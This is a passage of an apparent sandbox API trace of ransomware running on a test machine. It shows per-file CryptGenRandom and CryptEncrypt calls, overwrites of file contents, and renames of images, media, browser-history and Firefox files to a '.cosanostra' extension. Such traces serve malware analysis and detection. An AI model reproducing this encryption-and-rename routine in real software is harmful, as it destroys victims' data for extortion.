lpBuffer=0x26ff204*, lpNumberOfBytesWritten=0x26ff1c4*=0x4, lpOverlapped=0x0) returned 1 [0103.563] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1c4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1c4*=0x30, lpOverlapped=0x0) returned 1 [0103.563] CloseHandle (hObject=0x15c) returned 1 [0103.563] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Oi847Bit.ppt.cosanostra") returned 76 [0103.563] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Oi847Bit.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\oi847bit.ppt"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Oi847Bit.ppt.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\oi847bit.ppt.cosanostra")) returned 1 [0103.564] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff200 | out: pbBuffer=0x26ff200) returned 1 [0103.564] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff1f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff1f8*=0x30) returned 1 [0103.565] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\o2WXgOgLnO.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\o2wxgoglno.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.565] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\o2WXgOgLnO.gif") returned 67 [0103.565] StrStrW (lpFirst="o2WXgOgLnO.gif", lpSrch=".txt") returned 0x0 [0103.566] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.566] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff1bc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff1bc*=0x2800, lpOverlapped=0x0) returned 1 [0103.566] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.566] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff1fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1bc, lpOverlapped=0x0 | out: lpBuffer=0x26ff1fc*, lpNumberOfBytesWritten=0x26ff1bc*=0x4, lpOverlapped=0x0) returned 1 [0103.566] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1bc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1bc*=0x30, lpOverlapped=0x0) returned 1 [0103.566] CloseHandle (hObject=0x15c) returned 1 [0103.566] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\o2WXgOgLnO.gif.cosanostra") returned 78 [0103.566] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\o2WXgOgLnO.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\o2wxgoglno.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\o2WXgOgLnO.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\o2wxgoglno.gif.cosanostra")) returned 1 [0103.568] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff200 | out: pbBuffer=0x26ff200) returned 1 [0103.568] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff1f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff1f8*=0x30) returned 1 [0103.568] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\O FWbQ8De.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\o fwbq8de.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.568] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\O FWbQ8De.mp3") returned 66 [0103.568] StrStrW (lpFirst="O FWbQ8De.mp3", lpSrch=".txt") returned 0x0 [0103.569] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.569] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff1bc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff1bc*=0x2800, lpOverlapped=0x0) returned 1 [0103.569] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.569] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff1fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1bc, lpOverlapped=0x0 | out: lpBuffer=0x26ff1fc*, lpNumberOfBytesWritten=0x26ff1bc*=0x4, lpOverlapped=0x0) returned 1 [0103.569] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1bc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1bc*=0x30, lpOverlapped=0x0) returned 1 [0103.569] CloseHandle (hObject=0x15c) returned 1 [0103.570] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\O FWbQ8De.mp3.cosanostra") returned 77 [0103.570] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\O FWbQ8De.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\o fwbq8de.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\O FWbQ8De.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\o fwbq8de.mp3.cosanostra")) returned 1 [0103.571] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff1f8 | out: pbBuffer=0x26ff1f8) returned 1 [0103.571] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff1f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff1f0*=0x30) returned 1 [0103.571] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NM9EVh5tBxLKAaT.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\nm9evh5tbxlkaat.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.571] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NM9EVh5tBxLKAaT.avi") returned 72 [0103.571] StrStrW (lpFirst="NM9EVh5tBxLKAaT.avi", lpSrch=".txt") returned 0x0 [0103.579] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.581] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff1b4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff1b4*=0x2800, lpOverlapped=0x0) returned 1 [0103.581] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.581] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff1f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1b4, lpOverlapped=0x0 | out: lpBuffer=0x26ff1f4*, lpNumberOfBytesWritten=0x26ff1b4*=0x4, lpOverlapped=0x0) returned 1 [0103.581] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1b4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1b4*=0x30, lpOverlapped=0x0) returned 1 [0103.581] CloseHandle (hObject=0x15c) returned 1 [0103.581] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NM9EVh5tBxLKAaT.avi.cosanostra") returned 83 [0103.581] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NM9EVh5tBxLKAaT.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\nm9evh5tbxlkaat.avi"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\NM9EVh5tBxLKAaT.avi.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\nm9evh5tbxlkaat.avi.cosanostra")) returned 1 [0103.582] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff1f8 | out: pbBuffer=0x26ff1f8) returned 1 [0103.583] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff1f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff1f0*=0x30) returned 1 [0103.583] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\lGjyHa6a1.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\lgjyha6a1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.583] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\lGjyHa6a1.png") returned 66 [0103.583] StrStrW (lpFirst="lGjyHa6a1.png", lpSrch=".txt") returned 0x0 [0103.584] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffff512, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.584] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0xaee, lpNumberOfBytesWritten=0x26ff1b4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff1b4*=0xaee, lpOverlapped=0x0) returned 1 [0103.584] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.584] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff1f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1b4, lpOverlapped=0x0 | out: lpBuffer=0x26ff1f4*, lpNumberOfBytesWritten=0x26ff1b4*=0x4, lpOverlapped=0x0) returned 1 [0103.584] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1b4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1b4*=0x30, lpOverlapped=0x0) returned 1 [0103.584] CloseHandle (hObject=0x15c) returned 1 [0103.584] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\lGjyHa6a1.png.cosanostra") returned 77 [0103.584] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\lGjyHa6a1.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\lgjyha6a1.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\lGjyHa6a1.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\lgjyha6a1.png.cosanostra")) returned 1 [0103.585] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff1f0 | out: pbBuffer=0x26ff1f0) returned 1 [0103.585] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff1e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff1e8*=0x30) returned 1 [0103.585] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IWDammhdT.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\iwdammhdt.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.585] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IWDammhdT.flv") returned 66 [0103.585] StrStrW (lpFirst="IWDammhdT.flv", lpSrch=".txt") returned 0x0 [0103.586] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.586] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff1ac, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff1ac*=0x2800, lpOverlapped=0x0) returned 1 [0103.586] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.586] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff1ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1ac, lpOverlapped=0x0 | out: lpBuffer=0x26ff1ec*, lpNumberOfBytesWritten=0x26ff1ac*=0x4, lpOverlapped=0x0) returned 1 [0103.586] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1ac, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1ac*=0x30, lpOverlapped=0x0) returned 1 [0103.586] CloseHandle (hObject=0x15c) returned 1 [0103.586] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IWDammhdT.flv.cosanostra") returned 77 [0103.586] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IWDammhdT.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\iwdammhdt.flv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IWDammhdT.flv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\iwdammhdt.flv.cosanostra")) returned 1 [0103.587] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff1f0 | out: pbBuffer=0x26ff1f0) returned 1 [0103.587] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff1e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff1e8*=0x30) returned 1 [0103.587] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\iG5Ghd3wGVbLJPh.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ig5ghd3wgvbljph.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.588] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\iG5Ghd3wGVbLJPh.mkv") returned 72 [0103.588] StrStrW (lpFirst="iG5Ghd3wGVbLJPh.mkv", lpSrch=".txt") returned 0x0 [0103.588] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.588] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff1ac, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff1ac*=0x2800, lpOverlapped=0x0) returned 1 [0103.588] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.588] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff1ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1ac, lpOverlapped=0x0 | out: lpBuffer=0x26ff1ec*, lpNumberOfBytesWritten=0x26ff1ac*=0x4, lpOverlapped=0x0) returned 1 [0103.588] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1ac, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1ac*=0x30, lpOverlapped=0x0) returned 1 [0103.589] CloseHandle (hObject=0x15c) returned 1 [0103.589] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\iG5Ghd3wGVbLJPh.mkv.cosanostra") returned 83 [0103.589] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\iG5Ghd3wGVbLJPh.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ig5ghd3wgvbljph.mkv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\iG5Ghd3wGVbLJPh.mkv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ig5ghd3wgvbljph.mkv.cosanostra")) returned 1 [0103.590] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff1e8 | out: pbBuffer=0x26ff1e8) returned 1 [0103.590] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff1e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff1e0*=0x30) returned 1 [0103.590] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\I t109b0bJ4pI9SjI.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\i t109b0bj4pi9sji.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.590] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\I t109b0bJ4pI9SjI.bmp") returned 74 [0103.590] StrStrW (lpFirst="I t109b0bJ4pI9SjI.bmp", lpSrch=".txt") returned 0x0 [0103.591] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.591] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff1a4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff1a4*=0x2800, lpOverlapped=0x0) returned 1 [0103.591] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.591] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff1e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1a4, lpOverlapped=0x0 | out: lpBuffer=0x26ff1e4*, lpNumberOfBytesWritten=0x26ff1a4*=0x4, lpOverlapped=0x0) returned 1 [0103.591] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1a4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1a4*=0x30, lpOverlapped=0x0) returned 1 [0103.591] CloseHandle (hObject=0x15c) returned 1 [0103.591] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\I t109b0bJ4pI9SjI.bmp.cosanostra") returned 85 [0103.592] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\I t109b0bJ4pI9SjI.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\i t109b0bj4pi9sji.bmp"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\I t109b0bJ4pI9SjI.bmp.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\i t109b0bj4pi9sji.bmp.cosanostra")) returned 1 [0103.595] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff1e0 | out: pbBuffer=0x26ff1e0) returned 1 [0103.595] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff1d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff1d8*=0x30) returned 1 [0103.595] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history\\history.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.596] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat") returned 82 [0103.596] StrStrW (lpFirst="index.dat", lpSrch=".txt") returned 0x0 [0103.646] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.646] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff19c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff19c*=0x2800, lpOverlapped=0x0) returned 1 [0103.646] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.646] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff1dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff19c, lpOverlapped=0x0 | out: lpBuffer=0x26ff1dc*, lpNumberOfBytesWritten=0x26ff19c*=0x4, lpOverlapped=0x0) returned 1 [0103.646] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff19c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff19c*=0x30, lpOverlapped=0x0) returned 1 [0103.646] CloseHandle (hObject=0x15c) returned 1 [0103.651] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat.cosanostra") returned 93 [0103.651] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history\\history.ie5\\index.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history\\history.ie5\\index.dat.cosanostra")) returned 1 [0103.696] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff1d8 | out: pbBuffer=0x26ff1d8) returned 1 [0103.696] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff1d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff1d0*=0x30) returned 1 [0103.697] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.698] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore") returned 128 [0103.698] StrStrW (lpFirst="test-phish-simple.sbstore", lpSrch=".txt") returned 0x0 [0103.700] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffff18, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.700] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xe8, 